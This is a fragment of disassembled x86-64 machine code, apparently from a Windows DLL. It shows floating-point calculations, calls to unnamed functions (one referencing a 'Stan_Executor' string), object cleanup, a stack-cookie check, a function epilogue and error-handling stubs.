movss xmm1, dword [0x180168b78]
mulss xmm0, xmm1
subss xmm6, xmm9
mulss xmm6, xmm1
addss xmm9, xmm6
subss xmm9, xmm0
subss xmm8, xmm7
mulss xmm8, xmm1
addss xmm8, xmm7
movss xmm0, dword [rax]
mulss xmm0, xmm1
subss xmm8, xmm0
movss dword [rbp + 0xa8], xmm8
movss dword [rbp + 0xac], xmm9
mov qword [rsp + 0x20], 0
lea r9, str.Stan_Executor
mov r8d, ebx
lea rdx, [rbp + 0xa8]
mov rcx, rdi
call fcn.180030590
call fcn.1800192a0
movss xmm0, dword [rax + 8]
movss dword [rbp + 0xb8], xmm0
mov dword [rbp + 0xbc], 0x41200000
lea rcx, [rbp + 0xb8]
call fcn.180024f80
call fcn.180014850
call fcn.1800bb320
call fcn.180017960
call fcn.180017590
call fcn.180016f30
mov rsi, qword [rbp + 0x88]
mov rdi, qword [rbp + 0x80]
mov r14, qword [rbp + 0x78]
mov r15, qword [rbp + 0xb0]
mov r12, qword [rbp + 0xc0]
mov rcx, rsi
call fcn.180049240
nop
mov rcx, rdi
call fcn.180049240
nop
mov rcx, r14
call fcn.180049240
nop
mov rcx, qword [rbp + 0x70]
jmp 0x1800e0ad7
call fcn.180049240
nop
mov rcx, rdi
call fcn.180049240
nop
mov rcx, r14
call fcn.180049240
nop
mov rcx, rbx
call fcn.1800492a0
nop
mov rcx, r15
call fcn.180049240
nop
mov rcx, r12
call fcn.180049240
mov rcx, qword [rbp + 0x1c20]
xor rcx, rsp
call fcn.18015d6a0
lea r11, [rsp + 0x1dd8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
movaps xmm13, xmmword [r11 - 0x88]
movaps xmm14, xmmword [r11 - 0x98]
movaps xmm15, xmmword [r11 - 0xa8]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea r8, [rbp + 0x1150]
lea rdx, [rsp + 0x50]
lea rcx, str.create_directories
call fcn.1800820b0
nop
call fcn.18015cf20
int3
call fcn.180054970
int3
lea rcx, [0x1802f0554]
call fcn.18015d510
cmp dword [0x1802f0554], 0xffffffff
jne 0x1800d4770
lea rcx, [0x180165ba0]
call fcn.18015d450
lea rcx, [0x1802f0554]
call fcn.18015d4a4
jmp 0x1800d4770
call fcn.1800293f0
int3
call fcn.180054970
int3